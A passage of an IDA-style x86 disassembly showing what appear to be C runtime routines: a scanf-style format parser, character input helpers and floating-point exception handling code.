loc_421347 ; --------------------------------------------------------------------------- loc_421393: ; CODE XREF: sub_420DB0+5A0j ; sub_420DB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421347 ; --------------------------------------------------------------------------- loc_4213AC: ; CODE XREF: sub_420DB0+59Bj cmp byte ptr [edi], 0 jz loc_4217B6 cmp [ebp+var_3C], 7Bh jnz short loc_4213BE mov [ebp+arg_4], edi loc_4213BE: ; CODE XREF: sub_420DB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421826 pop ecx pop ecx loc_4213D5: ; CODE XREF: sub_420DB0+6BCj ; sub_420DB0+6C4j cmp [ebp+var_20], 0 jz short loc_4213E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421485 loc_4213E9: ; CODE XREF: sub_420DB0+629j inc [ebp+var_4] push edi call sub_42180C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421479 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421479 cmp [ebp+var_E], 0 jnz short loc_421471 cmp [ebp+var_16], 0 jz short loc_421466 mov ecx, off_43CE78 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421445 inc [ebp+var_4] push edi call sub_42180C pop ecx mov [ebp+var_37], al loc_421445: ; CODE XREF: sub_420DB0+686j push dword_43D084 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_4246CB mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421469 ; --------------------------------------------------------------------------- loc_421466: ; CODE XREF: sub_420DB0+673j mov [esi], al inc esi loc_421469: ; CODE XREF: sub_420DB0+6B4j mov [ebp+var_2C], esi jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421471: ; CODE XREF: sub_420DB0+66Dj inc [ebp+var_30] jmp loc_4213D5 ; --------------------------------------------------------------------------- loc_421479: ; CODE XREF: sub_420DB0+649j ; sub_420DB0+667j dec [ebp+var_4] push edi push eax call sub_421826 pop ecx pop ecx loc_421485: ; CODE XREF: sub_420DB0+633j cmp [ebp+var_30], esi jz loc_4217B6 cmp [ebp+var_E], 0 jnz loc_421717 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421717 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4214B7 and word ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214B7: ; CODE XREF: sub_420DB0+6FCj and byte ptr [eax], 0 jmp loc_421717 ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420DB0+466j mov [ebp+var_D], 1 loc_4214C3: ; CODE XREF: sub_420DB0+203j ; sub_420DB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4214D1 mov [ebp+var_17], 1 jmp short loc_4214D6 ; --------------------------------------------------------------------------- loc_4214D1: ; CODE XREF: sub_420DB0+719j cmp ebx, 2Bh jnz short loc_4214F8 loc_4214D6: ; CODE XREF: sub_420DB0+71Fj dec [ebp+var_C] jnz short loc_4214E7 cmp [ebp+var_20], 0 jz short loc_4214E7 mov [ebp+var_F], 1 jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214E7: ; CODE XREF: sub_420DB0+729j ; sub_420DB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42180C pop ecx mov ebx, eax loc_4214F5: ; CODE XREF: sub_420DB0+543j mov [ebp+var_14], ebx loc_4214F8: ; CODE XREF: sub_420DB0+4FDj ; sub_420DB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421611 cmp [ebp+var_F], 0 jnz loc_4215EF loc_42150C: ; CODE XREF: sub_420DB0+82Cj cmp esi, 78h jnz short loc_421560 cmp dword_43D084, 1 jle short loc_421529 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421536 ; --------------------------------------------------------------------------- loc_421529: ; CODE XREF: sub_420DB0+768j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421536: ; CODE XREF: sub_420DB0+777j test eax, eax jz loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_4247A0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4215B3 ; --------------------------------------------------------------------------- loc_421560: ; CODE XREF: sub_420DB0+75Fj cmp dword_43D084, 1 jle short loc_421575 push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421580 ; --------------------------------------------------------------------------- loc_421575: ; CODE XREF: sub_420DB0+7B7j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421580: ; CODE XREF: sub_420DB0+7C3j test eax, eax jz short loc_4215E1 cmp esi, 6Fh jnz short loc_42159E cmp ebx, 38h jge short loc_4215E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_4247A0 jmp short loc_4215AD ; --------------------------------------------------------------------------- loc_42159E: ; CODE XREF: sub_420DB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41DB20 loc_4215AD: ; CODE XREF: sub_420DB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4215B3: ; CODE XREF: sub_420DB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4215CB dec [ebp+var_C] jz short loc_4215EF loc_4215CB: ; CODE XREF: sub_420DB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42150C ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_420DB0+788j ; sub_420DB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4215EF: ; CODE XREF: sub_420DB0+756j ; sub_420DB0+819j cmp [ebp+var_17], 0 jz loc_4216D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4216D5 ; --------------------------------------------------------------------------- loc_421611: ; CODE XREF: sub_420DB0+74Cj cmp [ebp+var_F], 0 jnz loc_4216CD loc_42161B: ; CODE XREF: sub_420DB0+90Aj cmp esi, 78h jz short loc_42165F cmp esi, 70h jz short loc_42165F cmp dword_43D084, 1 jle short loc_42163A push 4 push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421645 ; --------------------------------------------------------------------------- loc_42163A: ; CODE XREF: sub_420DB0+87Cj mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 4 loc_421645: ; CODE XREF: sub_420DB0+888j test eax, eax jz short loc_4216BF cmp esi, 6Fh jnz short loc_421658 cmp ebx, 38h jge short loc_4216BF shl edi, 3 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_421658: ; CODE XREF: sub_420DB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421697 ; --------------------------------------------------------------------------- loc_42165F: ; CODE XREF: sub_420DB0+86Ej ; sub_420DB0+873j cmp dword_43D084, 1 jle short loc_421677 push 80h push ebx call sub_41FDB5 pop ecx pop ecx jmp short loc_421684 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_420DB0+8B6j mov eax, off_43CE78 mov al, [eax+ebx*2] and eax, 80h loc_421684: ; CODE XREF: sub_420DB0+8C5j test eax, eax jz short loc_4216BF push ebx shl edi, 4 call sub_4217D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421697: ; CODE XREF: sub_420DB0+8A6j ; sub_420DB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4216A9 dec [ebp+var_C] jz short loc_4216CD loc_4216A9: ; CODE XREF: sub_420DB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42180C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42161B ; --------------------------------------------------------------------------- loc_4216BF: ; CODE XREF: sub_420DB0+897j ; sub_420DB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421826 pop ecx pop ecx loc_4216CD: ; CODE XREF: sub_420DB0+865j ; sub_420DB0+8F7j cmp [ebp+var_17], 0 jz short loc_4216D5 neg edi loc_4216D5: ; CODE XREF: sub_420DB0+843j ; sub_420DB0+85Cj ... cmp esi, 46h jnz short loc_4216DE and [ebp+var_1C], 0 loc_4216DE: ; CODE XREF: sub_420DB0+928j cmp [ebp+var_1C], 0 jz loc_4217B6 cmp [ebp+var_E], 0 jnz short loc_421717 inc [ebp+var_34] loc_4216F1: ; CODE XREF: sub_420DB0+23Bj cmp [ebp+var_30], 0 jz short loc_421707 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_420DB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421714 mov [eax], edi jmp short loc_421717 ; --------------------------------------------------------------------------- loc_421714: ; CODE XREF: sub_420DB0+95Ej mov [eax], di loc_421717: ; CODE XREF: sub_420DB0+241j ; sub_420DB0+414j ... inc [ebp+var_15] inc [ebp+arg_4] mov esi, [ebp+arg_4] jmp short loc_421764 ; --------------------------------------------------------------------------- loc_421722: ; CODE XREF: sub_420DB0+93j inc [ebp+var_4] push edi call sub_42180C mov ebx, eax pop ecx movzx eax, byte ptr [esi] inc esi cmp eax, ebx mov [ebp+var_14], ebx mov [ebp+arg_4], esi jnz short loc_421791 mov ecx, off_43CE78 movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_421764 inc [ebp+var_4] push edi call sub_42180C pop ecx movzx ecx, byte ptr [esi] inc esi cmp ecx, eax mov [ebp+arg_4], esi jnz short loc_42179F dec [ebp+var_4] loc_421764: ; CODE XREF: sub_420DB0+970j ; sub_420DB0+99Aj cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_42177A cmp byte ptr [esi], 25h jnz short loc_4217BC mov eax, [ebp+arg_4] cmp byte ptr [eax+1], 6Eh jnz short loc_4217BC mov esi, eax loc_42177A: ; CODE XREF: sub_420DB0+9B8j mov al, [esi] test al, al jnz loc_420DDA jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_421786: ; CODE XREF: sub_420DB0+1F4j ; sub_420DB0+491j push [ebp+arg_0] dec [ebp+var_4] push [ebp+var_14] jmp short loc_421796 ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: sub_420DB0+98Aj dec [ebp+var_4] push edi push ebx loc_421796: ; CODE XREF: sub_420DB0+9DFj call sub_421826 pop ecx pop ecx jmp short loc_4217B6 ; --------------------------------------------------------------------------- loc_42179F: ; CODE XREF: sub_420DB0+9AFj dec [ebp+var_4] push edi push eax call sub_421826 dec [ebp+var_4] push edi push ebx call sub_421826 add esp, 10h loc_4217B6: ; CODE XREF: sub_420DB0+1Fj ; sub_420DB0+40Aj ... cmp [ebp+var_14], 0FFFFFFFFh jnz short loc_4217CD loc_4217BC: ; CODE XREF: sub_420DB0+9BDj ; sub_420DB0+9C6j mov eax, [ebp+var_34] test eax, eax jnz short loc_4217D0 cmp [ebp+var_15], al jnz short loc_4217D0 or eax, 0FFFFFFFFh jmp short loc_4217D0 ; --------------------------------------------------------------------------- loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj mov eax, [ebp+var_34] loc_4217D0: ; CODE XREF: sub_420DB0+A11j ; sub_420DB0+A16j ... pop edi pop esi pop ebx leave retn sub_420DB0 endp ; =============== S U B R O U T I N E ======================================= sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p ; sub_420DB0+8DCp arg_0 = dword ptr 4 cmp dword_43D084, 1 push esi jle short loc_4217EF mov esi, [esp+4+arg_0] push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_4217FE ; --------------------------------------------------------------------------- loc_4217EF: ; CODE XREF: sub_4217D5+8j mov esi, [esp+4+arg_0] mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_4217FE: ; CODE XREF: sub_4217D5+18j test eax, eax jnz short loc_421808 and esi, 0FFFFFFDFh sub esi, 7 loc_421808: ; CODE XREF: sub_4217D5+2Bj mov eax, esi pop esi retn sub_4217D5 endp ; =============== S U B R O U T I N E ======================================= sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p ; sub_420DB0+289p ... arg_0 = dword ptr 4 mov edx, [esp+arg_0] dec dword ptr [edx+4] js short loc_42181E mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_42181E: ; CODE XREF: sub_42180C+7j push edx call sub_41F8E3 pop ecx retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp ; sub_420DB0+3FFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFFFh jz short locret_42183C push [esp+arg_4] push [esp+4+arg_0] call sub_4247BF pop ecx pop ecx locret_42183C: ; CODE XREF: sub_421826+5j retn sub_421826 endp ; =============== S U B R O U T I N E ======================================= sub_42183D proc near ; CODE XREF: sub_420DB0+63p ; sub_420DB0+1D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi loc_421843: ; CODE XREF: sub_42183D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_42180C mov edi, eax push edi call sub_41DF10 pop ecx test eax, eax pop ecx jnz short loc_421843 mov eax, edi pop edi pop esi retn sub_42183D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_421861(int,int,double,int) sub_421861 proc near ; CODE XREF: sub_41D055+51p ; sub_41D19B+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43D7F0, 0 jnz short loc_421896 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421E16 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_421896: ; CODE XREF: sub_421861+Aj push 0FFFFh mov dword_4DBDDC, 21h push [ebp+arg_C] call sub_422089 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_421861 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4218B4(int,int,double,double,int) sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p ; sub_41D19B:loc_41D25Ep var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_421BFF add esp, 0Ch test eax, eax jnz short loc_4218F2 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_42194C add esp, 18h loc_4218F2: ; CODE XREF: sub_4218B4+1Aj push [ebp+arg_0] call sub_421EE9 cmp dword_43D7F0, 0 pop ecx jnz short loc_421930 test eax, eax jz short loc_421930 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421E16 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421930: ; CODE XREF: sub_4218B4+4Ej ; sub_4218B4+52j push eax call sub_421E9E mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_422089 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_4218B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42194C proc near ; CODE XREF: sub_4218B4+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_42197E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_42197E: ; CODE XREF: sub_42194C+23j test cl, 2 jz short loc_421991 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_421991: ; CODE XREF: sub_42194C+35j test cl, bl jz short loc_4219A3 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_4219A3: ; CODE XREF: sub_42194C+47j test cl, 4 jz short loc_4219B6 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_4219B6: ; CODE XREF: sub_42194C+5Aj test cl, 8 jz short loc_4219C9 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_4219C9: ; CODE XREF: sub_42194C+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_42206C test al, bl jz short loc_421A52 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_421A52: ; CODE XREF: sub_42194C+FDj test al, 4 jz short loc_421A5D mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_421A5D: ; CODE XREF: sub_42194C+108j test al, 8 jz short loc_421A68 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_421A68: ; CODE XREF: sub_42194C+113j test al, 10h jz short loc_421A72 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_421A72: ; CODE XREF: sub_42194C+11Ej test al, 20h jz short loc_421A7C mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_421A7C: ; CODE XREF: sub_42194C+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_421ABB cmp eax, 400h jz short loc_421AAD cmp eax, 800h jz short loc_421AA1 cmp eax, ecx jnz short loc_421AC1 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421AA1: ; CODE XREF: sub_42194C+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421AB7 ; --------------------------------------------------------------------------- loc_421AAD: ; CODE XREF: sub_42194C+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421AB7: ; CODE XREF: sub_42194C+15Fj mov [eax], ecx jmp short loc_421AC1 ; --------------------------------------------------------------------------- loc_421ABB: ; CODE XREF: sub_42194C+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421AC1: ; CODE XREF: sub_42194C+14Bj ; sub_42194C+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_421AEC cmp eax, 200h jz short loc_421ADF cmp eax, ecx jnz short loc_421AF9 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421AF9 ; --------------------------------------------------------------------------- loc_421ADF: ; CODE XREF: sub_42194C+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421AF7 ; --------------------------------------------------------------------------- loc_421AEC: ; CODE XREF: sub_42194C+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421AF7: ; CODE XREF: sub_42194C+19Ej mov [eax], ecx loc_421AF9: ; CODE XREF: sub_42194C+189j ; sub_42194C+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_42207A lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call near ptr 26604F6h nop mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_421B73 and dword ptr [esi], 0FFFFFFFEh loc_421B73: ; CODE XREF: sub_42194C+222j test byte ptr [eax+8], 8 jz short loc_421B7C and dword ptr [esi], 0FFFFFFFBh loc_421B7C: ; CODE XREF: sub_42194C+22Bj test byte ptr [eax+8], 4 jz short loc_421B85 and dword ptr [esi], 0FFFFFFF7h loc_421B85: ; CODE XREF: sub_42194C+234j test byte ptr [eax+8], 2 jz short loc_421B8E and dword ptr [esi], 0FFFFFFEFh loc_421B8E: ; CODE XREF: sub_42194C+23Dj test [eax+8], bl jz short loc_421B96 and dword ptr [esi], 0FFFFFFDFh loc_421B96: ; CODE XREF: sub_42194C+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_421BCA dec ecx jz short loc_421BBE dec ecx jz short loc_421BB4 dec ecx jnz short loc_421BCC or byte ptr [esi+1], 0Ch jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BB4: ; CODE XREF: sub_42194C+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421BC6 ; --------------------------------------------------------------------------- loc_421BBE: ; CODE XREF: sub_42194C+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421BC6: ; CODE XREF: sub_42194C+270j mov [esi], ecx jmp short loc_421BCC ; --------------------------------------------------------------------------- loc_421BCA: ; CODE XREF: sub_42194C+257j and [esi], edx loc_421BCC: ; CODE XREF: sub_42194C+260j ; sub_42194C+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_421BEC dec ecx jz short loc_421BE3 dec ecx jnz short loc_421BF5 and [esi], edx jmp short loc_421BF5 ; --------------------------------------------------------------------------- loc_421BE3: ; CODE XREF: sub_42194C+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421BF3 ; --------------------------------------------------------------------------- loc_421BEC: ; CODE XREF: sub_42194C+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421BF3: ; CODE XREF: sub_42194C+29Ej mov [esi], ecx loc_421BF5: ; CODE XREF: sub_42194C+291j ; sub_42194C+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_42194C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421BFF proc near ; CODE XREF: sub_4218B4+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_421C2A test byte ptr [ebp+arg_8], bl jz short loc_421C2A push ebx call sub_4220AC pop ecx and edi, 0FFFFFFF7h jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C2A: ; CODE XREF: sub_421BFF+15j ; sub_421BFF+1Aj test al, 4 jz short loc_421C44 test byte ptr [ebp+arg_8], 4 jz short loc_421C44 push 4 call sub_4220AC pop ecx and edi, 0FFFFFFFBh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421C44: ; CODE XREF: sub_421BFF+2Dj ; sub_421BFF+33j test al, bl jz loc_421D1E test byte ptr [ebp+arg_8], 8 jz loc_421D1E push 8 call sub_4220AC pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421CF6 cmp ecx, 400h jz short loc_421CCE cmp ecx, 800h jz short loc_421CA6 cmp ecx, eax jnz loc_421D16 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3F0 fnstsw ax sahf ja short loc_421C9E fchs loc_421C9E: ; CODE XREF: sub_421BFF+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CA6: ; CODE XREF: sub_421BFF+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CBE fld dbl_43D3E0 jmp short loc_421CC6 ; --------------------------------------------------------------------------- loc_421CBE: ; CODE XREF: sub_421BFF+B5j fld dbl_43D3F0 fchs loc_421CC6: ; CODE XREF: sub_421BFF+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CCE: ; CODE XREF: sub_421BFF+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fnstsw ax sahf jbe short loc_421CE6 fld dbl_43D3F0 jmp short loc_421CEE ; --------------------------------------------------------------------------- loc_421CE6: ; CODE XREF: sub_421BFF+DDj fld dbl_43D3E0 fchs loc_421CEE: ; CODE XREF: sub_421BFF+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421D14 ; --------------------------------------------------------------------------- loc_421CF6: ; CODE XREF: sub_421BFF+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427860 fld dbl_43D3E0 fnstsw ax sahf ja short loc_421D0E fchs loc_421D0E: ; CODE XREF: sub_421BFF+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421D14: ; CODE XREF: sub_421BFF+A5j ; sub_421BFF+CDj ... fstp qword ptr [ecx] loc_421D16: ; CODE XREF: sub_421BFF+81j and edi, 0FFFFFFFEh jmp loc_421DF4 ; --------------------------------------------------------------------------- loc_421D1E: ; CODE XREF: sub_421BFF+47j ; sub_421BFF+51j test al, 2 jz loc_421DF4 test byte ptr [ebp+arg_8], 10h jz loc_421DF4 push esi xor esi, esi test al, 10h jz short loc_421D39 mov esi, ebx loc_421D39: ; CODE XREF: sub_421BFF+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jz loc_421DE2 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_421FAB mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_421D84 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421DD8 ; --------------------------------------------------------------------------- loc_421D84: ; CODE XREF: sub_421BFF+17Aj fld [ebp+var_C] fcomp dbl_427860 fnstsw ax sahf jnb short loc_421D96 mov edx, ebx jmp short loc_421D98 ; --------------------------------------------------------------------------- loc_421D96: ; CODE XREF: sub_421BFF+191j xor edx, edx loc_421D98: ; CODE XREF: sub_421BFF+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_421DCC sub eax, ecx loc_421DAF: ; CODE XREF: sub_421BFF+1CBj test byte ptr [ebp+var_C], bl jz short loc_421DBA test esi, esi jnz short loc_421DBA mov esi, ebx loc_421DBA: ; CODE XREF: sub_421BFF+1B3j ; sub_421BFF+1B7j shr dword 